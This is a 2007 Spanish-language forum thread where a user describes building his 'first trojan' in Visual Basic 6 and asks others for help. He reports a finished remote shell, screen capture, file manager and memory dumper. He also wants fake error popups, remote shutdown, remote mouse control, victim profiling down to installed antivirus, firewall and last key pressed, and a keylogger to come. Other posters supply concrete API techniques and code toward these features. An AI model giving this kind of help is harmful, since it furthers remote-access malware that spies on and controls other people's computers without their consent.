Título: Re: Mi primer troyano en VB6.0
Publicado por: nhaalclkiemr en 2 Agosto 2007, 16:50 pm
Weno, me funciona bastante bien tu cJPEG...lo malo es k tarda bastante en hacer una captura de pantalla...pero eso es solo en modo prueva, una vez compilado lo hace rápido...

Por cierto, la funcion "SetSamplingFrecuencies" se k sirve para ajustar la calidad...pero como exactamente?

Y habría na manera de poner definir los BITS y la resolucion de la imagen

Por ejemplo en vez de 24bits cojer capturas a 16 o 8 bits...tambien me gustaría poner definir la resolucion de las capturas, se puede??

Saludos ;)


Título: Re: Mi primer troyano en VB6.0
Publicado por: nhaalclkiemr en 7 Agosto 2007, 05:45 am
Hola bueno, pues ya tengo completado el tema de la captura de pantalla, el manager de archivos, el dumper de memoria y la shell remota...ahora me gustaría hablaros de varios temas:

1º.- Me gustaría poder enviar cajas de texto como traen la mayoría de los trollanos. Es decir, poder hacer k le aparezca un mensaje de error por ejemplo... Se me ocurrió usar el "MsgBox" pero con esto el programa se bloquea asta k el otro pulse algun boton de la caja de texto...Ya he provado las API "MessageBox", "MessageBoxEx" y "MessageBoxIndirect" pero las tres esperan a k se pulse un boton para continuar, weno k para eso uso el "MsgBox" k es lo mismo... ¿No hay alguna API o algo que haga la misma funcion y que el programa no se bloquee asta que se pulse algun boton, es decir, que siga rulando igual?


2º.- En el tema de apagar remotamente un equipo, reiniciarlo, cerrar sesion y estas cosas pues me hablaron de una API "WindowsExit" o algo así...pero esta al parecer solo funciona bien en Windows 98, en XP pues solo funciona el "Cerrar sesion"...Después se me ocurrió usar el comando shutdown...pero no me pareció lo más adecuado...¿sabeis alguna otra forma de apagar, reiniciar, y hacer estas cosas...?

3º.- En el tema de captura de pantalla solo me falta un detalle, ¿como hago para enviar los clicks del raton? Para mostrar la imagen uso el control "Preview" k no tiene el comando click...supongo k podría poner una label transparenet y en el comando click y double click capturaría las cordenadas de la pantalla con respecto a la captura hecha, pero esto es un royo y depende de la resolucion del ekipo remoto. Weno, a ver kien me puede ayudar con eso

4º.- En la parte de recojer información están estas cosas que voy a poner...me gustaría saber que APIs usar o que objetos o como hacer para cojer esta informacion:

   -Nombre PC: No se, supongo que con la API GetComputerName
   -Nombre Dominio:  La verdad es k no se...
   -Sistema Operativo: No se...
   -Unidades: Esto lo se hacer con el FileSystemObject
   -Raiz principal: Environ("homedrive")
   -Espacio libre: Esto lo se hacer con el FileSystemObject
   -Directorio Windows:: Environ("Windir")
   -Directorio System: Con la API GetSystemDirectory
   -Directorio archivos de programa: Environ("programfiles")
   -Resolución: No se...
   -Procesador: No se...
   -Velocidad procesador: No se...
   -tarjeta grafica: No se...
   -Usuario actual: No se...
   -IP Privada: No se...
   -IP Pública: No se, he oido k iendo a alguna pagina lo puedes saber, pero me parece algo chapuza...
   -Web-Cam: No se
   -Version IE: Supongo que será leer en alguna clave del registro
   -Version Firefox: Lo mismo que el anterior
   -Antivirus: Pues tendré k tener una lista para detectar si hay alguno instalado
   -Firewall: Lo mismo k el anterior
   -Info sobre RAM: Esto lo se hacer con una API
   -Tiempo de inactividad: No se
   -Informacion de impresoras: No se
   -Salvapantallas activo?: Supongo k revisa en los procesos si alguno termina en .src, entontces responderá "Si" o "No"
   -Uso de CPU: No se...
   -Posición raton: No se...
   -Ultima tecla pulsada: No se...
   -Ultima aplicacion abierta: No se...
   -Ventana activa: No se...
   -velocidad de bajada: No se...
   -Velocidad de subida: No se...
   -Tiempo en funcionamiento: No se...


Weno, espero k me podais ayudar en algo, después de esto supongo k me pondré con el keylogger...

Saludos ;)


Título: Re: Mi primer troyano en VB6.0
Publicado por: yovaninu en 7 Agosto 2007, 19:17 pm
   -Velocidad procesador: No se...
   -Uso de CPU: No se...
http://foro.elhacker.net/index.php/topic,173053.0.html

aprovecho para preguntar como se obtiene el uso del PF y tambien como saber el ancho de banda disponible


Título: Re: Mi primer troyano en VB6.0
Publicado por: nhaalclkiemr en 7 Agosto 2007, 22:10 pm
aprovecho para preguntar como se obtiene el uso del PF y tambien como saber el ancho de banda disponible

En un Form:

Código
  1. Option Explicit
  2.  
  3. Private Type MemoryStatus
  4.        dwLength As Long
  5.        dwMemoryLoad As Long
  6.        dwTotalPhys As Long
  7.        dwAvailPhys As Long
  8.        dwTotalPageFile As Long
  9.        dwAvailPageFile As Long
  10.        dwTotalVirtual As Long
  11.        dwAvailVirtual As Long
  12. End Type
  13. Private Declare Sub GlobalMemoryStatus Lib "kernel32" (lpBuffer As MemoryStatus)
  14.  
  15. Public Function MemoryStatus() As Long()
  16. Dim x(0 To 7) As Long
  17. Dim mem As MemoryStatus
  18. GlobalMemoryStatus mem
  19. x(0) = mem.dwLength
  20. x(1) = mem.dwMemoryLoad
  21. x(2) = mem.dwTotalPhys
  22. x(3) = mem.dwAvailPhys
  23. x(4) = mem.dwTotalPageFile
  24. x(5) = mem.dwAvailPageFile
  25. x(6) = mem.dwTotalVirtual
  26. x(7) = mem.dwAvailVirtual
  27. MemoryStatus = x
  28. End Function
  29.  

Saludos ;)


Título: Re: Mi primer troyano en VB6.0
Publicado por: ~~ en 8 Agosto 2007, 18:03 pm
Citar
1º.- Me gustaría poder enviar cajas de texto como traen la mayoría de los trollanos. Es decir, poder hacer k le aparezca un mensaje de error por ejemplo... Se me ocurrió usar el "MsgBox" pero con esto el programa se bloquea asta k el otro pulse algun boton de la caja de texto...Ya he provado las API "MessageBox", "MessageBoxEx" y "MessageBoxIndirect" pero las tres esperan a k se pulse un boton para continuar, weno k para eso uso el "MsgBox" k es lo mismo... ¿No hay alguna API o algo que haga la misma funcion y que el programa no se bloquee asta que se pulse algun boton, es decir, que siga rulando igual?

Pues puedes usar un hilo para q muestre el msgbox y no se pare todo el programa. Se hace con la api CreateThread

Citar
3º.- En el tema de captura de pantalla solo me falta un detalle, ¿como hago para enviar los clicks del raton? Para mostrar la imagen uso el control "Preview" k no tiene el comando click...supongo k podría poner una label transparenet y en el comando click y double click capturaría las cordenadas de la pantalla con respecto a la captura hecha, pero esto es un royo y depende de la resolucion del ekipo remoto. Weno, a ver kien me puede ayudar con eso

Pues hallas las coordenadas en el picture box donde esta la imagen y mueves el raton remotamente. Para hacer click usas mouse_event y ya esta. Tb convendria q hallaras la resolucion del ordenador remoto



Título: Re: Mi primer troyano en VB6.0
Publicado por: nhaalclkiemr en 9 Agosto 2007, 21:54 pm
Citar
Pues puedes usar un hilo para q muestre el msgbox y no se pare todo el programa. Se hace con la api CreateThread

Explicamelo más detallado porfavor, sobre todo el uso de esa API que no tengo ni idea.

Citar
ues hallas las coordenadas en el picture box donde esta la imagen y mueves el raton remotamente. Para hacer click usas mouse_event y ya esta. Tb convendria q hallaras la resolucion del ordenador remoto

Ya, con mouse_event se trabajar, a lo que me referia es como baseandose en las cordenadas del PictureBox puedo hacer click en un ordenador del cual se la resolucion

Saludos ;)


Título: Re: Mi primer troyano en VB6.0
Publicado por: ~~ en 10 Agosto 2007, 01:22 am
Ejemplo de CreateThread de la Api Guide:

Código
  1. 'Using the CreateThread function in Visual Basic
  2. 'is very risky! VB5 is 'kinda' stable, but VB6
  3. 'applications will probably crash when you
  4. 'use the CreateThread function.
  5.  
  6. 'In a form
  7. 'Add a command button to the form
  8. Private Sub Command1_Click()
  9.    'KPD-Team 1999
  10.    'URL: http://www.allapi.net/
  11.    'E-Mail: KPDTeam@Allapi.net
  12.    'After you click this button, try to move the window
  13.    'You will see that the AsyncThread-function was executed asynchronously
  14.    hThread = CreateThread(ByVal 0&, ByVal 0&, AddressOf AsyncThread, ByVal 0&, ByVal 0&, hThreadID)
  15.    CloseHandle hThread
  16. End Sub
  17. Private Sub Form_Unload(Cancel As Integer)
  18.    'If the thread is still running, close it
  19.    If hThread <> 0 Then TerminateThread hThread, 0
  20. End Sub
  21. 'In a module
  22. Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long)
  23. Declare Function CreateThread Lib "kernel32" (lpThreadAttributes As Any, ByVal dwStackSize As Long, ByVal lpStartAddress As Long, lpParameter As Any, ByVal dwCreationFlags As Long, lpThreadID As Long) As Long
  24. Declare Function TerminateThread Lib "kernel32" (ByVal hThread As Long, ByVal dwExitCode As Long) As Long
  25. Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long
  26. Public hThread As Long, hThreadID As Long
  27. Public Sub AsyncThread()
  28.    'Let this thread sleep for 10 seconds
  29.    Sleep 10000
  30.    hThread = 0
  31. End Sub

Lo q tienes q hacer es crearte una funcion q muestre el msgox y llamarla desde la api CreateThread.  Un ejemplo aplicado a tu caso seria poner en la funcion  AsyncThread MsgBox "lo q sea" y ya esta



Título: Re: Mi primer troyano en VB6.0
Publicado por: nhaalclkiemr en 10 Agosto 2007, 03:03 am
Gracias ;)


Título: Re: Mi primer troyano en VB6.0
Publicado por: nhaalclkiemr en 14 Noviembre 2007, 16:40 pm
Weno este tema ya se k es algo viejo pero es mio...es k weno estaba haciendo el troyano pero lo abandoné algo por otros proyectos pero me decidi a retornarlo cuando termine con mis actuales proyectos...lo buské por esta ultima duda k postee en este tema de como hacer que salga un MsgBox sin k se paralice la aplicación...

EON me dió ese codigo que utilita CreateThread, me funcionaba en mi ordenador pero me di cuenta k en otros ordenadores e incluso en algunos casos en el mio propio producia que la aplicación fallase y se saliese...

Observando leí los comentarios donde dice que CreateThread es estable en VB5 pero no en VB6...y por eso me supone un problema...

Weno pues solo eso...me gustaría saber como puedo producir un MsgBox sin que la ejecución de la aplicación se paralice y sin usar CreateThread ya que me causa muchos problemas...

Saludos ;)


Título: Re: Mi primer troyano en VB6.0
Publicado por: 70N1 en 18 Noviembre 2007, 22:13 pm
Pues...
Yo te aconsejo un libro de programacion en vb para aprender lo basico.
LIBRO = "Aprenda visual basic ya 6.0" El libro mas sencillo que e visto en mi vida.
Luego a bajarse algun cursillo de internet (Protocolos de red). Para aunque sea que sepas que es lo que sucede por la red.
Y por lo de las apis. Microsoft tiene el MSDN y ahi te vienen todas las apis de los productos de microsoft(WINDOWS ENTRE ELLOS), Es gratuito.
Por ahi estoy yo.

Mi opinion es que para aprender a programar, lo mejor que puedes hacer es ponerte una meta, mientras mas dificil mejor. Y luchar asta conseguirla. (EN TU CASO EL TROYANO.)
Yo tambien estoy aprendiendo.
Si kieres saver como realizar una conexion cliente servidor pues aprende lo basico de programacion y luego busca en el google ejemplos de conexion cliente servidor en vb. Encontraras muchos.
Si no entiendes algo pues a buscar asta conseguir entenderlo.



APROVECHO:
ALGUIEN SABRIA DECIRME SI EL VISUAL BASIC DEJA EN LOS PROGRAMAS CREADOS ALGUN TIPO DE IDENTIFICADOR DE LA MAQUINA O EL NOMBRE DE REGISTRO DEL PROGRAMA O ALGO DE ESO?.


Título: Re: Mi primer troyano en VB6.0
Publicado por: nhaalclkiemr en 18 Noviembre 2007, 23:12 pm
Jaja este post es de hace ya un tiempo ahora ya no estoy aprendiendo VB...weno me keda aprender el funcionamiento de muchas APIs y algunas cosas más pero weno k no estoy empezando digamos...

Citar
ALGUIEN SABRIA DECIRME SI EL VISUAL BASIC DEJA EN LOS PROGRAMAS CREADOS ALGUN TIPO DE IDENTIFICADOR DE LA MAQUINA O EL NOMBRE DE REGISTRO DEL PROGRAMA O ALGO DE ESO?.

Si k deja, abre con un editor hexadecimal algún proyecto tuyo y lo verás...lo k yo vi es a simple vista es k deja información de algunas carpetas de tu ordenador...en la k aparece el nombre de tu usuario...

No se si deja más residuos... :xD

Saludos ;)